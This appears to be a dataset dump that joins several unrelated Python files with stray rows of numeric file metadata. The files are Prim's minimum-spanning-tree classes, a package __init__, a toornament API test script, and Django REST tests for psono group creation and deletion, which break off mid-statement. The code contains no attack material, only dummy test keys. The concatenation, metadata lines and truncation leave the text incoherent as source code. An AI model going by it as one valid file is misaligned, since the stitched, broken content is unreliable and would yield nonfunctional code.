self.graph.iternodes(): self._pq.put((self.distance[node], node)) while not self._pq.empty(): _, node = self._pq.get() if self._in_queue[node]: self._in_queue[node] = False else: continue for edge in self.graph.iteroutedges(node): if self._in_queue[edge.target] and edge.weight < self.distance[edge.target]: self.distance[edge.target] = edge.weight self.parent[edge.target] = ~edge # DECREASE-KEY self._pq.put((edge.weight, edge.target)) def to_tree(self): """The minimum spanning tree is built.""" self.mst = self.graph.__class__(self.graph.v(), directed=False) for node in self.graph.iternodes(): # isolated nodes are possible self.mst.add_node(node) for node in self.parent: # O(V) time if self.parent[node] is not None: self.mst.add_edge(self.parent[node]) return self.mst class PrimMatrixMST: """Prim's algorithm for finding a minimum spanning tree. The algorithm runs in O(V**2) time. It is suitable for dense graphs. Attributes ---------- graph : input undirected weighted graph or multigraph mst : graph (MST) distance : dict with nodes parent : dict with nodes (MST) _in_queue : dict, private Examples -------- >>> from graphtheory.structures.edges import Edge >>> from graphtheory.structures.graphs import Graph >>> from graphtheory.spanningtrees.prim import PrimMatrixMST >>> from graphtheory.structures.factory import GraphFactory >>> gf = GraphFactory(Graph) >>> G = gf.make_complete(n=10, directed=False) >>> algorithm = PrimMatrixMST(G) >>> algorithm.run() # calculations >>> algorithm.parent # MST as a dict >>> mst = algorithm.to_tree() # MST as an undirected graph Notes ----- Based on: Cormen, T. H., Leiserson, C. E., Rivest, R. L., and Stein, C., 2009, Introduction to Algorithms, third edition, The MIT Press, Cambridge, London. https://en.wikipedia.org/wiki/Prim's_algorithm. https://en.wikipedia.org/wiki/Minimum_spanning_tree """ def __init__(self, graph): """The algorithm initialization. Parameters ---------- graph : undirected weighted graph or multigraph """ if graph.is_directed(): raise ValueError("the graph is directed") self.graph = graph self.mst = None self.distance = dict((node, float("inf")) for node in self.graph.iternodes()) self.parent = dict((node, None) for node in self.graph.iternodes()) self._in_queue = dict((node, True) for node in self.graph.iternodes()) def run(self, source=None): """Finding MST.""" if source is None: # get first random node source = next(self.graph.iternodes()) self.source = source self.distance[source] = 0 for step in xrange(self.graph.v()): # |V| times # Find min node in the graph, O(V) time. node = min((node for node in self.graph.iternodes() if self._in_queue[node]), key=self.distance.get) self._in_queue[node] = False for edge in self.graph.iteroutedges(node): # O(V) time if self._in_queue[edge.target] and edge.weight < self.distance[edge.target]: self.distance[edge.target] = edge.weight self.parent[edge.target] = edge.source def to_tree(self): """The minimum spanning tree is built.""" self.mst = self.graph.__class__(self.graph.v(), directed=False) for node in self.graph.iternodes(): # isolated nodes are possible self.mst.add_node(node) for edge in self.graph.iteredges(): # O(E) time if (self.parent[edge.source] is edge.target and self.distance[edge.source] == edge.weight): self.mst.add_edge(edge) elif (self.parent[edge.target] is edge.source and self.distance[edge.target] == edge.weight): self.mst.add_edge(edge) return self.mst class PrimMatrixMSTWithEdges: """Prim's algorithm for finding MST in O(V**2) time. Attributes ---------- graph : input undirected weighted graph or multigraph mst : graph (MST) distance : dict with nodes parent : dict with edges (MST) _in_queue : dict, private """ def __init__(self, graph): """The algorithm initialization.""" self.graph = graph self.mst = None self.distance = dict((node, float("inf")) for node in self.graph.iternodes()) self.parent = dict((node, None) for node in self.graph.iternodes()) self._in_queue = dict((node, True) for node in self.graph.iternodes()) def run(self, source=None): """Executable pseudocode.""" if source is None: # get first random node source = next(self.graph.iternodes()) self.source = source self.distance[source] = 0 for step in xrange(self.graph.v()): # |V| times # Find min node in the graph, O(V) time. node = min((node for node in self.graph.iternodes() if self._in_queue[node]), key=self.distance.get) self._in_queue[node] = False for edge in self.graph.iteroutedges(node): # O(V) time if self._in_queue[edge.target] and edge.weight < self.distance[edge.target]: self.distance[edge.target] = edge.weight self.parent[edge.target] = ~edge def to_tree(self): """The minimum spanning tree is built.""" self.mst = self.graph.__class__(self.graph.v(), directed=False) for node in self.graph.iternodes(): # isolated nodes are possible self.mst.add_node(node) for node in self.parent: # O(V) time if self.parent[node] is not None: self.mst.add_edge(self.parent[node]) return self.mst class PrimConnectedMST: """Prim's algorithm for finding a minimum spanning tree. The algorithm runs in O(E log V) time. The graph must be connected. Attributes ---------- graph : input undirected weighted graph or multigraph mst : graph (MST) _in_queue : dict, private _pq : priority queue, private Notes ----- Based on: Cormen, T. H., Leiserson, C. E., Rivest, R. L., and Stein, C., 2009, Introduction to Algorithms, third edition, The MIT Press, Cambridge, London. https://en.wikipedia.org/wiki/Prim's_algorithm. https://en.wikipedia.org/wiki/Minimum_spanning_tree """ def __init__(self, graph): """The algorithm initialization. Parameters ---------- graph : undirected weighted graph or multigraph """ if graph.is_directed(): raise ValueError("the graph is directed") if not is_connected(graph): raise ValueError("the graph is not connected") self.graph = graph self.mst = self.graph.__class__(self.graph.v(), directed=False) self._in_queue = dict((node, True) for node in self.graph.iternodes()) self._pq = PriorityQueue() def run(self, source=None): """Finding MST.""" if source is None: # get first random node source = next(self.graph.iternodes()) self.source = source self._in_queue[source] = False # W kolejce trzymam krawedzie wychodzace na zewnatrz od MST. for edge in self.graph.iteroutedges(self.source): self._pq.put((edge.weight, edge)) while not self._pq.empty(): _, edge = self._pq.get() if self._in_queue[edge.target]: self._in_queue[edge.target] = False self.mst.add_edge(edge) # wstawiam do MST else: continue for edge2 in self.graph.iteroutedges(edge.target): if self._in_queue[edge2.target]: self._pq.put((edge2.weight, edge2)) def to_tree(self): """Compatibility with other Prim classes.""" return self.mst class PrimTrivialMST: """Prim's algorithm for finding a minimum spanning tree. The algorithm runs in O(V*E) time. Attributes ---------- graph : input undirected weighted graph or multigraph mst : graph (MST) _in_mst : dict, private """ def __init__(self, graph): """The algorithm initialization. Parameters ---------- graph : undirected weighted graph or multigraph """ if graph.is_directed(): raise ValueError("the graph is directed") if not is_connected(graph): raise ValueError("the graph is not connected") self.graph = graph self.mst = self.graph.__class__(self.graph.v(), directed=False) for node in self.graph.iternodes(): # isolated nodes are possible self.mst.add_node(node) self._in_mst = dict((node, False) for node in self.graph.iternodes()) def run(self, source=None): """Finding MST.""" if source is None: # get first random node source = next(self.graph.iternodes()) self.source = source self._in_mst[source] = True for step in xrange(self.graph.v()-1): # |V|-1 times # Finding min edge, O(E) time. min_edge = min(edge for edge in self.graph.iteredges() if self._in_mst[edge.source] != self._in_mst[edge.target]) self.mst.add_edge(min_edge) self._in_mst[min_edge.source] = True self._in_mst[min_edge.target] = True def to_tree(self): """Compatibility with other Prim classes.""" return self.mst # EOF
36.34901
92
0.586857
1,804
14,685
4.679047
0.096452
0.069305
0.041701
0.038503
0.893259
0.877384
0.866722
0.860562
0.860562
0.84907
0
0.002814
0.298264
14,685
403
93
36.439206
0.816303
0.3238
0
0.851282
0
0
0.016226
0
0
0
0
0
0
1
0.092308
false
0
0.020513
0
0.174359
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
882101676f647689861657cfa6ea4a711c6043db
160
py
Python
summarus/__init__.py
crazydigger/ru_summarization_mbart
9da680bd67f869de9094c26f7a8a8e6b4c1b06bf
[ "Apache-2.0" ]
139
2019-03-20T18:43:40.000Z
2022-03-29T19:45:10.000Z
summarus/__init__.py
AlexKay28/summarus
9da680bd67f869de9094c26f7a8a8e6b4c1b06bf
[ "Apache-2.0" ]
8
2019-04-26T06:40:41.000Z
2021-11-11T11:38:17.000Z
summarus/__init__.py
AlexKay28/summarus
9da680bd67f869de9094c26f7a8a8e6b4c1b06bf
[ "Apache-2.0" ]
22
2019-04-29T16:46:48.000Z
2022-01-25T13:26:53.000Z
from summarus.models import * from summarus.readers import * from summarus.tokenizers import * from summarus.modules import * from summarus.predictors import *
26.666667
33
0.8125
20
160
6.5
0.4
0.461538
0.553846
0
0
0
0
0
0
0
0
0
0.125
160
5
34
32
0.928571
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
88252b5e7d7ac270eb6093b80bbaa65836b5dfda
5,438
py
Python
tests/full_test.py
niborus/toornament.py
e4267746ec1274e8158a10fc4f6357ae0928b03b
[ "MIT" ]
1
2021-04-22T00:06:54.000Z
2021-04-22T00:06:54.000Z
tests/full_test.py
niborus/toornament
e4267746ec1274e8158a10fc4f6357ae0928b03b
[ "MIT" ]
null
null
null
tests/full_test.py
niborus/toornament
e4267746ec1274e8158a10fc4f6357ae0928b03b
[ "MIT" ]
null
null
null
import toornament from tests.local_file import TOKEN import asyncio def sync_test(): t = toornament.SyncViewerAPI(TOKEN) # Testing res = t.get_matches_from_tournament(3045919883406483456, range = toornament.Range(0, 9)) print(res) res = t.get_match(3045919883406483456, 3075364820084678691) print(res) res = t.get_matches_from_discipline('splatoon2', range = toornament.Range(0, 9)) print(res) res = t.get_bracket_nodes(3045919883406483456, 3075364819614916608, range = toornament.Range(0, 4)) print(res) res = t.get_custom_fields(3555729080809455616) print(res) res = t.get_disciplines(range = toornament.Range(0, 4)) print(res) res = t.get_discipline('splatoon2') print(res) res = t.get_groups(3555729080809455616, range = toornament.Range(0, 4)) print(res) res = t.get_group(3555729080809455616, 3555734570961764352) print(res) res = t.get_game(3045919883406483456, 3075364820084678691, 1) print(res) res = t.get_participant(3045919883406483456, 3046102039785750528) print(res) res = t.get_participants(1755617972580818944, range = toornament.Range(0, 4)) print(res) res = t.get_playlist(4092769699448848384) print(res) # Normal Ranking Items Properties res = t.get_ranking_items(3555729080809455616, 4092841286829129728, range = toornament.Range(0, 2)) print(res) # Ranking Items Properties with Score res = t.get_ranking_items(3555729080809455616, 4092864627355385856, range = toornament.Range(0, 2)) print(res) res = t.get_rounds(3555729080809455616, range = toornament.Range(0, 2)) print(res) res = t.get_round(3555729080809455616, 3555734570995318830) print(res) res = t.get_stages(3555729080809455616) print(res) res = t.get_stage(3555729080809455616, 3555733280880140288) print(res) res = t.get_standings(range = toornament.Range(0, 9), tournament_ids = [3555729080809455616, '1755617972580818944']) print(res) res = t.get_videos(3555729080809455616, range = toornament.Range(0, 49)) print(res) res = t.get_videos_by_match(3555729080809455616, 3555734570995318785) print(res) res = t.get_streams(1755617972580818944, range = toornament.Range(0, 1)) print(res) res = t.get_tournaments_featured(range = toornament.Range(0, 4), disciplines = 'splatoon2') print(res) res = t.get_tournament(1755617972580818944) print(res) res = t.get_tournaments_by_playlist(4092769699448848384, range = toornament.Range(0, 2)) print(res) print(toornament.Information.fetch_platforms()) async def async_test(): t = toornament.AsyncViewerAPI(TOKEN) # Testing res = await t.get_matches_from_tournament(3045919883406483456, range = toornament.Range(0, 9)) print(res) res = await t.get_match(3045919883406483456, 3075364820084678691) print(res) res = await t.get_matches_from_discipline('splatoon2', range = toornament.Range(0, 9)) print(res) res = await t.get_bracket_nodes(3045919883406483456, 3075364819614916608, range = toornament.Range(0, 4)) print(res) res = await t.get_custom_fields(3555729080809455616) print(res) res = await t.get_disciplines(range = toornament.Range(0, 4)) print(res) res = await t.get_discipline('splatoon2') print(res) res = await t.get_groups(3555729080809455616, range = toornament.Range(0, 4)) print(res) res = await t.get_group(3555729080809455616, 3555734570961764352) print(res) res = await t.get_game(3045919883406483456, 3075364820084678691, 1) print(res) res = await t.get_participant(3045919883406483456, 3046102039785750528) print(res) res = await t.get_participants(1755617972580818944, range = toornament.Range(0, 4)) print(res) res = await t.get_playlist(4092769699448848384) print(res) # Normal Ranking Items Properties res = await t.get_ranking_items(3555729080809455616, 4092841286829129728, range = toornament.Range(0, 2)) print(res) # Ranking Items Properties with Score res = await t.get_ranking_items(3555729080809455616, 4092864627355385856, range = toornament.Range(0, 2)) print(res) res = await t.get_rounds(3555729080809455616, range = toornament.Range(0, 2)) print(res) res = await t.get_round(3555729080809455616, 3555734570995318830) print(res) res = await t.get_stages(3555729080809455616) print(res) res = await t.get_stage(3555729080809455616, 3555733280880140288) print(res) res = await t.get_standings(range = toornament.Range(0, 9), tournament_ids = [3555729080809455616, '1755617972580818944']) print(res) res = await t.get_videos(3555729080809455616, range = toornament.Range(0, 49)) print(res) res = await t.get_videos_by_match(3555729080809455616, 3555734570995318785) print(res) res = await t.get_streams(1755617972580818944, range = toornament.Range(0, 1)) print(res) res = await t.get_tournaments_featured(range = toornament.Range(0, 4), disciplines = 'splatoon2') print(res) res = await t.get_tournament(1755617972580818944) print(res) res = await t.get_tournaments_by_playlist(4092769699448848384, range = toornament.Range(0, 2)) print(res) # Test Sync Access sync_test() # Test Async Access loop = asyncio.get_event_loop() res = loop.run_until_complete(async_test())
29.715847
126
0.721405
654
5,438
5.860856
0.125382
0.054266
0.132011
0.153405
0.92408
0.923298
0.913384
0.839551
0.66945
0.639186
0
0.293987
0.174329
5,438
182
127
29.879121
0.559688
0.034204
0
0.452174
0
0
0.017547
0
0
0
0
0
0
1
0.008696
false
0
0.026087
0
0.034783
0.46087
0
0
0
null
0
0
0
1
1
1
1
0
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
7
88b3204a872ee9e718d801535ab11879b101a136
99
py
Python
ndf/example_models/__init__.py
PrimozGodec/ndf
5af5c9f3f7f03eeaf005f7f66ae0667f8e44ff6f
[ "MIT" ]
1
2019-06-12T09:32:24.000Z
2019-06-12T09:32:24.000Z
ndf/example_models/__init__.py
PrimozGodec/ndf
5af5c9f3f7f03eeaf005f7f66ae0667f8e44ff6f
[ "MIT" ]
null
null
null
ndf/example_models/__init__.py
PrimozGodec/ndf
5af5c9f3f7f03eeaf005f7f66ae0667f8e44ff6f
[ "MIT" ]
null
null
null
from ndf.example_models.squeezenet import squeezenet from ndf.example_models.encoder import encoder
49.5
52
0.888889
14
99
6.142857
0.5
0.162791
0.325581
0.465116
0
0
0
0
0
0
0
0
0.070707
99
2
53
49.5
0.934783
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
ee21f3bc7b12b782cfb000a9914b3e63a59c5a64
39,016
py
Python
psono/restapi/tests/group.py
dirigeant/psono-server
a18c5b3c4d8bbbe4ecf1615b210d99fb77752205
[ "Apache-2.0", "CC0-1.0" ]
48
2018-04-19T15:50:58.000Z
2022-01-23T15:58:11.000Z
psono/restapi/tests/group.py
dirigeant/psono-server
a18c5b3c4d8bbbe4ecf1615b210d99fb77752205
[ "Apache-2.0", "CC0-1.0" ]
9
2018-09-13T14:56:18.000Z
2020-01-17T16:44:33.000Z
psono/restapi/tests/group.py
dirigeant/psono-server
a18c5b3c4d8bbbe4ecf1615b210d99fb77752205
[ "Apache-2.0", "CC0-1.0" ]
11
2019-09-20T11:53:47.000Z
2021-07-18T22:41:31.000Z
from django.urls import reverse from django.contrib.auth.hashers import make_password from django.conf import settings from rest_framework import status from .base import APITestCaseExtended from restapi import models import random import string import binascii import os class CreateGroupTest(APITestCaseExtended): """ Test to create a group (PUT) """ def setUp(self): self.test_email = "test@example.com" self.test_email_bcrypt = "a" self.test_password = "myPassword" self.test_authkey = "c55066421a559f76d8ed5227622e9f95a0c67df15220e40d7bc98a8a598124fa15373ac553ef3ee27c7" \ "123d6be058e6d43cc71c1b666bdecaf33b734c8583a93" self.test_public_key = "5706a5648debec63e86714c8c489f08aee39477487d1b3f39b0bbb05dbd2c649" self.test_secret_key = "a7d028388e9d80f2679c236ebb2d0fedc5b7b0a28b393f6a20cc8f6be636aa71" self.test_secret_key_enc = "77cde8ff6a5bbead93588fdcd0d6346bb57224b55a49c0f8a22a807bf6414e4d82ff60711422" \ "996e4a26de599982d531eef3098c9a531a05f75878ac0739571d6a242e6bf68c2c28eadf1011" \ "571a48eb" self.test_secret_key_nonce = "f580cc9900ce7ae8b6f7d2bab4627e9e689dca0f13a53e3c" self.test_private_key = "d636f7cc20384475bdc30c3ede98f719ee09d1fd4709276103772dd9479f353c" self.test_private_key_enc = "abddebec9d20cecf7d1cab95ad6c6394db3826856bf21c2c6af9954e9816c2239f5df697e52" \ "d60785eb1136803407b69729c38bb50eefdd2d24f2fa0f104990eee001866ba83704cf4f576" \ "a74b9b2452" self.test_private_key_nonce = "4298a9ab3d9d5d8643dfd4445adc30301b565ab650497fb9" self.test_user_obj = models.User.objects.create( email=self.test_email, email_bcrypt=self.test_email_bcrypt, authkey=make_password(self.test_authkey), public_key=self.test_public_key, private_key=self.test_private_key_enc, private_key_nonce=self.test_private_key_nonce, secret_key=self.test_secret_key_enc, secret_key_nonce=self.test_secret_key_nonce, user_sauce='90272aaf01a2d525223f192aca069e7f5661b3a0f1b1a91f9b16d493fdf15295', is_email_active=True ) def test_create_success(self): """ Tests to create a group """ url = reverse('group') data = { 'name': 'Test Group', 'secret_key': 'a123', 'secret_key_nonce': 'B52032040066AE04BECBBB03286469223731B0E8A2298F26DC5F01222E63D0F5', 'private_key': 'a123', 'private_key_nonce': 'D5BD6D7FCC2E086CFC28B2B2648ECA591D9F8201608A2D173E167D5B27ECA884', 'public_key': 'a123', } self.client.force_authenticate(user=self.test_user_obj) response = self.client.put(url, data) self.assertEqual(response.status_code, status.HTTP_201_CREATED) def test_create_failure_no_name(self): """ Tests to create a group without a name """ url = reverse('group') data = { # 'name': 'Test Group', 'secret_key': 'a123', 'secret_key_nonce': 'B52032040066AE04BECBBB03286469223731B0E8A2298F26DC5F01222E63D0F5', 'private_key': 'a123', 'private_key_nonce': 'D5BD6D7FCC2E086CFC28B2B2648ECA591D9F8201608A2D173E167D5B27ECA884', 'public_key': 'a123', } self.client.force_authenticate(user=self.test_user_obj) response = self.client.put(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_create_failure_no_secret_key(self): """ Tests to create a group without a secret key """ url = reverse('group') data = { 'name': 'Test Group', # 'secret_key': 'a123', 'secret_key_nonce': 'B52032040066AE04BECBBB03286469223731B0E8A2298F26DC5F01222E63D0F5', 'private_key': 'a123', 'private_key_nonce': 'D5BD6D7FCC2E086CFC28B2B2648ECA591D9F8201608A2D173E167D5B27ECA884', 'public_key': 'a123', } self.client.force_authenticate(user=self.test_user_obj) response = self.client.put(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_create_failure_no_secret_key_nonce(self): """ Tests to create a group without a secret key nonce """ url = reverse('group') data = { 'name': 'Test Group', 'secret_key': 'a123', # 'secret_key_nonce': 'B52032040066AE04BECBBB03286469223731B0E8A2298F26DC5F01222E63D0F5', 'private_key': 'a123', 'private_key_nonce': 'D5BD6D7FCC2E086CFC28B2B2648ECA591D9F8201608A2D173E167D5B27ECA884', 'public_key': 'a123', } self.client.force_authenticate(user=self.test_user_obj) response = self.client.put(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_create_failure_no_private_key(self): """ Tests to create a group without a private key """ url = reverse('group') data = { 'name': 'Test Group', 'secret_key': 'a123', 'secret_key_nonce': 'B52032040066AE04BECBBB03286469223731B0E8A2298F26DC5F01222E63D0F5', # 'private_key': 'a123', 'private_key_nonce': 'D5BD6D7FCC2E086CFC28B2B2648ECA591D9F8201608A2D173E167D5B27ECA884', 'public_key': 'a123', } self.client.force_authenticate(user=self.test_user_obj) response = self.client.put(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_create_failure_no_private_key_nonce(self): """ Tests to create a group without a private key nonce """ url = reverse('group') data = { 'name': 'Test Group', 'secret_key': 'a123', 'secret_key_nonce': 'B52032040066AE04BECBBB03286469223731B0E8A2298F26DC5F01222E63D0F5', 'private_key': 'a123', # 'private_key_nonce': 'D5BD6D7FCC2E086CFC28B2B2648ECA591D9F8201608A2D173E167D5B27ECA884', 'public_key': 'a123', } self.client.force_authenticate(user=self.test_user_obj) response = self.client.put(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_create_failure_no_public_key(self): """ Tests to create a group without a public key """ url = reverse('group') data = { 'name': 'Test Group', 'secret_key': 'a123', 'secret_key_nonce': 'B52032040066AE04BECBBB03286469223731B0E8A2298F26DC5F01222E63D0F5', 'private_key': 'a123', 'private_key_nonce': 'D5BD6D7FCC2E086CFC28B2B2648ECA591D9F8201608A2D173E167D5B27ECA884', # 'public_key': 'a123', } self.client.force_authenticate(user=self.test_user_obj) response = self.client.put(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_create_failure_invalid_secret_key(self): """ Tests to create a group with a secret key that is no hex """ url = reverse('group') data = { 'name': 'Test Group', 'secret_key': 'a123X', 'secret_key_nonce': 'B52032040066AE04BECBBB03286469223731B0E8A2298F26DC5F01222E63D0F5', 'private_key': 'a123', 'private_key_nonce': 'D5BD6D7FCC2E086CFC28B2B2648ECA591D9F8201608A2D173E167D5B27ECA884', 'public_key': 'a123', } self.client.force_authenticate(user=self.test_user_obj) response = self.client.put(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_create_failure_invalid_secret_key_nonce(self): """ Tests to create a group with a secret key nonce that is no hex """ url = reverse('group') data = { 'name': 'Test Group', 'secret_key': 'a123', 'secret_key_nonce': 'B52032040066AE04BECBBB03286469223731B0E8A2298F26DC5F01222E63D0FX', 'private_key': 'a123', 'private_key_nonce': 'D5BD6D7FCC2E086CFC28B2B2648ECA591D9F8201608A2D173E167D5B27ECA884', 'public_key': 'a123', } self.client.force_authenticate(user=self.test_user_obj) response = self.client.put(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_create_failure_invalid_private_key(self): """ Tests to create a group with a private key that is no hex """ url = reverse('group') data = { 'name': 'Test Group', 'secret_key': 'a123', 'secret_key_nonce': 'B52032040066AE04BECBBB03286469223731B0E8A2298F26DC5F01222E63D0F5', 'private_key': 'a123X', 'private_key_nonce': 'D5BD6D7FCC2E086CFC28B2B2648ECA591D9F8201608A2D173E167D5B27ECA884', 'public_key': 'a123', } self.client.force_authenticate(user=self.test_user_obj) response = self.client.put(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_create_failure_invalid_private_key_nonce(self): """ Tests to create a group with a private key nonce that is no hex """ url = reverse('group') data = { 'name': 'Test Group', 'secret_key': 'a123', 'secret_key_nonce': 'B52032040066AE04BECBBB03286469223731B0E8A2298F26DC5F01222E63D0F5', 'private_key': 'a123', 'private_key_nonce': 'D5BD6D7FCC2E086CFC28B2B2648ECA591D9F8201608A2D173E167D5B27ECA88X', 'public_key': 'a123', } self.client.force_authenticate(user=self.test_user_obj) response = self.client.put(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_create_failure_invalid_public_key(self): """ Tests to create a group with a public key nonce that is no hex """ url = reverse('group') data = { 'name': 'Test Group', 'secret_key': 'a123', 'secret_key_nonce': 'B52032040066AE04BECBBB03286469223731B0E8A2298F26DC5F01222E63D0F5', 'private_key': 'a123', 'private_key_nonce': 'D5BD6D7FCC2E086CFC28B2B2648ECA591D9F8201608A2D173E167D5B27ECA884', 'public_key': 'a123X', } self.client.force_authenticate(user=self.test_user_obj) response = self.client.put(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_create_failure_name_too_short(self): """ Tests to create a group with just two chars as name (min is 3) """ url = reverse('group') data = { 'name': 'Te', 'secret_key': 'a123', 'secret_key_nonce': 'B52032040066AE04BECBBB03286469223731B0E8A2298F26DC5F01222E63D0F5', 'private_key': 'a123', 'private_key_nonce': 'D5BD6D7FCC2E086CFC28B2B2648ECA591D9F8201608A2D173E167D5B27ECA884', 'public_key': 'a123', } self.client.force_authenticate(user=self.test_user_obj) response = self.client.put(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_create_failure_invalid_char_in_group(self): """ Tests to create a group with an @ in the group name """ url = reverse('group') data = { 'name': 'Test@Group', 'secret_key': 'a123', 'secret_key_nonce': 'B52032040066AE04BECBBB03286469223731B0E8A2298F26DC5F01222E63D0F5', 'private_key': 'a123', 'private_key_nonce': 'D5BD6D7FCC2E086CFC28B2B2648ECA591D9F8201608A2D173E167D5B27ECA884', 'public_key': 'a123', } self.client.force_authenticate(user=self.test_user_obj) response = self.client.put(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) class DeleteGroupTest(APITestCaseExtended): """ Test to delete a group (DELETE) """ def setUp(self): self.test_email = "test@example.com" self.test_email_bcrypt = "a" self.test_password = "myPassword" self.test_authkey = "c55066421a559f76d8ed5227622e9f95a0c67df15220e40d7bc98a8a598124fa15373ac553ef3ee27c7" \ "123d6be058e6d43cc71c1b666bdecaf33b734c8583a93" self.test_public_key = "5706a5648debec63e86714c8c489f08aee39477487d1b3f39b0bbb05dbd2c649" self.test_secret_key = "a7d028388e9d80f2679c236ebb2d0fedc5b7b0a28b393f6a20cc8f6be636aa71" self.test_secret_key_enc = "77cde8ff6a5bbead93588fdcd0d6346bb57224b55a49c0f8a22a807bf6414e4d82ff60711422" \ "996e4a26de599982d531eef3098c9a531a05f75878ac0739571d6a242e6bf68c2c28eadf1011" \ "571a48eb" self.test_secret_key_nonce = "f580cc9900ce7ae8b6f7d2bab4627e9e689dca0f13a53e3c" self.test_private_key = "d636f7cc20384475bdc30c3ede98f719ee09d1fd4709276103772dd9479f353c" self.test_private_key_enc = "abddebec9d20cecf7d1cab95ad6c6394db3826856bf21c2c6af9954e9816c2239f5df697e52" \ "d60785eb1136803407b69729c38bb50eefdd2d24f2fa0f104990eee001866ba83704cf4f576" \ "a74b9b2452" self.test_private_key_nonce = "4298a9ab3d9d5d8643dfd4445adc30301b565ab650497fb9" self.test_user_obj = models.User.objects.create( email=self.test_email, email_bcrypt=self.test_email_bcrypt, authkey=make_password(self.test_authkey), public_key=self.test_public_key, private_key=self.test_private_key_enc, private_key_nonce=self.test_private_key_nonce, secret_key=self.test_secret_key_enc, secret_key_nonce=self.test_secret_key_nonce, user_sauce='90272aaf01a2d525223f192aca069e7f5661b3a0f1b1a91f9b16d493fdf15295', is_email_active=True ) self.test_group_obj = models.Group.objects.create( name = 'Test Group', public_key = 'a123', ) self.test_membership_obj = models.User_Group_Membership.objects.create( user = self.test_user_obj, group = self.test_group_obj, creator = self.test_user_obj, secret_key = 'secret-key', secret_key_nonce = 'secret-key-nonce', secret_key_type = 'symmetric', private_key = 'private-key', private_key_nonce = 'private-key-nonce', private_key_type = 'symmetric', group_admin = True, accepted = True, ) self.test_group_obj2 = models.Group.objects.create( name = 'Test Group', public_key = 'a123', ) self.test_membership_obj2 = models.User_Group_Membership.objects.create( user = self.test_user_obj, group = self.test_group_obj2, creator = self.test_user_obj, secret_key = 'secret-key', secret_key_nonce = 'secret-key-nonce', secret_key_type = 'symmetric', private_key = 'private-key', private_key_nonce = 'private-key-nonce', private_key_type = 'symmetric', group_admin = False, accepted = True, ) self.test_group_obj3 = models.Group.objects.create( name = 'Test Group', public_key = 'a123', ) self.test_membership_obj3 = models.User_Group_Membership.objects.create( user = self.test_user_obj, group = self.test_group_obj3, creator = self.test_user_obj, secret_key = 'secret-key', secret_key_nonce = 'secret-key-nonce', secret_key_type = 'symmetric', private_key = 'private-key', private_key_nonce = 'private-key-nonce', private_key_type = 'symmetric', group_admin = True, accepted = False, ) def test_delete_success(self): """ Tests to delete a group """ url = reverse('group') data = { 'group_id': self.test_group_obj.id, } self.client.force_authenticate(user=self.test_user_obj) response = self.client.delete(url, data) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_delete_failure_missing_group_id(self): """ Tests to delete a group """ url = reverse('group') data = { # 'group_id': self.test_group_obj.id, } self.client.force_authenticate(user=self.test_user_obj) response = self.client.delete(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_delete_failure_no_group_admin(self): """ Tests to delete a group without group admin rights """ url = reverse('group') data = { 'group_id': self.test_group_obj2.id, } self.client.force_authenticate(user=self.test_user_obj) response = self.client.delete(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_delete_failure_not_accepted(self): """ Tests to delete a group without accepting the membership """ url = reverse('group') data = { 'group_id': self.test_group_obj3.id, } self.client.force_authenticate(user=self.test_user_obj) response = self.client.delete(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) class ReadGroupTest(APITestCaseExtended): """ Test to read a group (GET) """ def setUp(self): self.test_email = "test@example.com" self.test_email_bcrypt = "a" self.test_password = "myPassword" self.test_authkey = "c55066421a559f76d8ed5227622e9f95a0c67df15220e40d7bc98a8a598124fa15373ac553ef3ee27c7" \ "123d6be058e6d43cc71c1b666bdecaf33b734c8583a93" self.test_public_key = "5706a5648debec63e86714c8c489f08aee39477487d1b3f39b0bbb05dbd2c649" self.test_secret_key = "a7d028388e9d80f2679c236ebb2d0fedc5b7b0a28b393f6a20cc8f6be636aa71" self.test_secret_key_enc = "77cde8ff6a5bbead93588fdcd0d6346bb57224b55a49c0f8a22a807bf6414e4d82ff60711422" \ "996e4a26de599982d531eef3098c9a531a05f75878ac0739571d6a242e6bf68c2c28eadf1011" \ "571a48eb" self.test_secret_key_nonce = "f580cc9900ce7ae8b6f7d2bab4627e9e689dca0f13a53e3c" self.test_private_key = "d636f7cc20384475bdc30c3ede98f719ee09d1fd4709276103772dd9479f353c" self.test_private_key_enc = "abddebec9d20cecf7d1cab95ad6c6394db3826856bf21c2c6af9954e9816c2239f5df697e52" \ "d60785eb1136803407b69729c38bb50eefdd2d24f2fa0f104990eee001866ba83704cf4f576" \ "a74b9b2452" self.test_private_key_nonce = "4298a9ab3d9d5d8643dfd4445adc30301b565ab650497fb9" self.test_user_obj = models.User.objects.create( email=self.test_email, email_bcrypt=self.test_email_bcrypt, 